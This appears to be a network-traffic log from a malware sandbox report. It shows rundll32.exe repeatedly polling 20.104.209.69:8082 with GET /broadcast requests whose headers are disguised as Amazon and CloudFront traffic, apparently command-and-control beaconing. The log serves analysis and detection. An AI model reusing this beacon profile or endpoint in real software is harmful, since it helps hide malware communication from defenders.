Jan 8, 2023 16:07:04.884871960 CET	420	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:05.003269911 CET	420	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:56 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.6	49899	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:26.370137930 CET	1006	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:26.488811016 CET	1006	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.6	49900	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:26.751940966 CET	1009	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:26.871011972 CET	1010	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.6	49901	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:27.162117958 CET	1013	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:27.280298948 CET	1013	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.6	49902	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:27.535819054 CET	1016	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:27.654014111 CET	1016	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.6	49903	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:27.922538042 CET	1019	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:28.041050911 CET	1019	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.6	49904	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:28.297692060 CET	1022	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:28.416341066 CET	1022	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.6	49905	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:28.699373007 CET	1025	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:28.817621946 CET	1026	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.6	49906	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:29.082711935 CET	1028	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:29.200400114 CET	1029	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.6	49907	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:29.471956968 CET	1032	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:29.590034962 CET	1032	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.6	49908	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:29.844181061 CET	1035	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:29.962928057 CET	1035	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49719	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:05.276803017 CET	423	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:05.399175882 CET	423	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:56 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.6	49909	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:30.235311985 CET	1038	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:30.354886055 CET	1038	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.6	49910	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:30.619589090 CET	1041	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:30.738591909 CET	1042	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.6	49911	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:31.018543005 CET	1044	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:31.137254000 CET	1045	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.6	49912	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:31.422372103 CET	1047	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:31.540651083 CET	1048	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.6	49913	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:31.801888943 CET	1051	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:31.920118093 CET	1051	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.6	49914	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:32.191026926 CET	1054	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:32.310376883 CET	1054	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.6	49915	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:32.563079119 CET	1057	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:32.681500912 CET	1057	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.6	49916	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:32.970901966 CET	1060	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:33.089098930 CET	1060	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.6	49917	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:33.347843885 CET	1063	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
